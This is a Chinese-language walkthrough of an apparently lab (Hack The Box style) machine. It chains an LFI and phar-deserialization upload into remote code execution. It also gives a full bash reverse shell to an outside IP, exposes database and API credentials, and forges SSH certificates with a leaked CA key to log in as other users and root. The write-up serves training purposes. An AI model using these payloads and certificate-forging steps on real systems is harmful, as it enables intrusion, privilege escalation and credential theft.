总体思路
信息收集&端口利用
nmap -sSVC itrc.ssg.htb
目标开放了两个ssh端口和一个80端口,先查看80端口
网站是一个SSG IT资源中心,主要用于解决网站问题、管理 SSH 访问、清除病毒和解决各种安全问题的权威一站式商店。
后台挂着目录扫描,先看看界面
界面上有登录和注册按钮,注册一个用户,查看能否直接登录
登录进来后是一个存储票据的界面,此时目录扫描结果也出来了
想到当前url为http://itrc.ssg.htb/index.php?page=dashboard,考虑可以拼接已扫出来的目录
访问admin界面
看到一个提示说,需要联系zzinter用户,放到后边再看
还有一个用于验证主机存活的接口
查看下方的tickets,随意单击一个票据查看,首先会跳转到http://itrc.ssg.htb/?page=ticket&id=5界面,然后提示票据不可用
目前没有别的信息,单击New Ticket按钮创建新的票据
他的接口为create_ticket,这里需要上传压缩包,先上传一个空的zip后缀文件查看
报错信息中提到了两个函数:ZipArchive::open()、hash_file
ZipArchive::open()
用于打开上传的zip文件
hash_file
计算文件的hash值
上传完毕后回到界面,能看到刚刚上传的信息,并且添加评论等等
1
在刚刚的报错信息中,能够得到网站的目录为/var/www/itrc,这里如果访问之前获得的api/create_ticket.php,会得到服务器的响应,但是只能访问没有后缀的PHP文件
从 LFI 漏洞中,我们可以测试一些协议,例如file://、dict://、phar://,他会触发LFI漏洞,意味着我们能够使用协议来触发上传的资源
可以测试http://itrc.ssg.htb/index.php?page=file:///var/www/itrc/api/create_ticket,以验证和刚刚相同的效果
由于它是PHP服务器,这里尝试使用phar反序列化攻击,创建一个用于RCE的PHP代码,并将其压缩后上传
需要注意的是PHP代码中前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
上传完成后,发现该文件的名称被重命名,不过不影响后面的操作,重命名的格式是根据zip文件的内容,将其进行SHA-1加密,可以使用sha1sum验证
使用phar://协议访问刚刚上传的shell文件
现在现在可以做到远程命令执行,制作一段反弹shell,并发送
#/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'
http://itrc.ssg.htb/?page=phar://uploads/[sha1sum].zip/shell&cmd=/bin/bash+-c+%27/bin/bash+-i+%3E%26+/dev/tcp/10.10.16.7/9000+0%3E%261%27
拿到www-data用户
在之前的目录扫描时候发现还存在db.php,查看它
#db.php
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
虽然有数据库的登录凭证,但是发现登录不了
通过查看home目录,我们能够知道下一个目标为zzinter和msainristil
在uploads目录下有若干个文件,其中不仅有我们上传的,也有系统本身自带的,使用zipgrep来枚举敏感信息
for zipfile in *.zip; do zipgrep "zzinter" "$zipfile"; done
for zipfile in *.zip; do zipgrep "msainristil" "$zipfile"; done
得到了msainristil用户的登录凭证
在decommission_old_ca文件夹下,有一对RSA密钥,是一个CA私钥
CA私钥是证书颁发机构在颁发数字证书过程中使用的重要密钥,这些证书可以验证用户的身份并在网络内建立信任
CA私钥(ca-itrc)可以签署其他公钥,从而创建系统信任的证书,使用命令ssh-keygen -y -f ca-itrc即可生成ca-itrc.pub,该pub文件不包含任何用户的身份信息,只是密钥对中的公钥,可以验证相应的私钥签名。可以使用CA私钥创建并签名公钥,然后检查证书
有了CA私钥,接下去使用CA 私钥签署公钥以创建SSH证书,一般涉及以下几个步骤:首先,生成CA的私钥和公钥。然后,为需要证书的用户或系统生成SSH密钥对(私钥和公钥)。接着,用户将公钥提交给CA。CA使用其私钥签署用户的公钥,生成SSH证书。最后,用户将SSH证书和私钥一起使用,进行认证。
具体步骤如下
#新建密钥对
ssh-keygen -t rsa -b 2048 -f b3rry
#使用CA私钥对公钥进行签名,并生成证书,指定zzinter为有效的用户名
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter b3rry.pub
#检查生成的证书
ssh-keygen -Lf b3rry-cert.pub
#使用证书,以zzinter身份去登录到主机
ssh -o CertificateFile=b3rry-cert.pub -i b3rry zzinter@localhost
查看当前文件夹下的内容
发现有一个脚本只能root用户执行,使用刚才的方法,生成root的登录证书
ssh-keygen -t rsa -b 2048 -f root
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root root.pub
ssh -o CertificateFile=root-cert.pub -i root root@localhost
该root目录下并没有我们想要的文件,猜测可能是一个容器,查看端口连接状况
netstat -anltp
从中能够看到,,目前我们连接到的是172.223.0.3,更加确定他是一个容器
回到之前zzinter目录下,有一个sign_key_api.sh的文件,现在来查看它
#sign_key_api.sh
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
分析代码可知,运行该脚本需要三个参数,调用了signserv.ssg.htb上的服务,使用特定主体对SSH公钥进行签名
脚本说明中介绍了4个主体,即webserver、analytics、support、security,以及它们对应的用户名,只有support成对出现才会起作用
还是和之前一样,先创建一个密钥对,然后使用脚本对其公钥进行签名
ssh-keygen -t rsa -b 2048 -f support
chmod 600 support
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[support.pub]", "username": "support", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
运行完毕后,会生成support-cert.pub文件,将其和之前的密钥对都复制出来
由于端口22是用于主机的itrc,我们可以尝试使用私钥key登录2222端口
ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222
查看当前主机存在的用户
发现还需要提权到zzinter用户
虽然我们根据shell脚本测试了这4个主体,但当然可以有更多的主体供我们以其他用户身份登录以继续进行
对于/etc/ssh/auth_principals目录,其与OpenSSH的证书颁发机构 (CA) 功能结合使用。它包含以用户帐户命名的文件,每个文件都列出了允许以该用户身份进行身份验证的身份
我们找到了zzinter主体所对应的用户名,再和之前一样,先生成密钥对,再使用该主体、用户名和公钥生成证书并登录
ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[zzinter.pub]", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 zzinter-cert.pub
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222
既然能够使用此方法登录到zzinter用户,在主体中也包含了root_temp和对应的root用户名,那么是否也能够给root的公钥签名,使用证书登陆呢
尝试运行以下命令
ssh-keygen -t rsa -b 2048 -f root && chmod 600 root
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "[root.pub]", "username": "root", "principals": "root_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
chmod 600 root-cert.pub
ssh -o CertificateFile=root-cert.pub -i root root@ssg.htb -p 2222
发现无法登录,可能是因为认证中的密钥拒绝对root用户使用
那么查看当前用户可执行权限
可以不需要密码以root身份执行/opt/sign_key.sh,查看脚本内容
#/opt/sign_key.sh
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
这个脚本允许我们使用CA签署公钥,并且脚本会检查提供的CA是否和/etc/ssh/ca-it相匹配,若相同,则会退出
该脚本的主要命令为
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
-s "$ca_file":指定用于签名的CA密钥
-z "$serial":证书的序列号
-I "$username":证书的身份
-V -1w:forever:指定有效期(从1周前至永远)
-n "$principals":指定证书允许的主体
"$public_key_name":需要签名的公钥文件
此时如果我们想使用密钥ca-it签署RSA,系统会调用 signserv Web 应用程序上的 API。但是在脚本中,若这两个API相同,则会禁止使用该密钥(这就是为什么最开始不成功的原因?)。因此,我们需要尝试在本地找到有效的CA密钥来为root用户和相应的主体进行签名
在bash脚本中,很容易会受到通配符*的攻击,因为他可以代表任意字符,导致能够轻易的通过一些判断语句
--------------------------------------更新分界线---------------------------------------------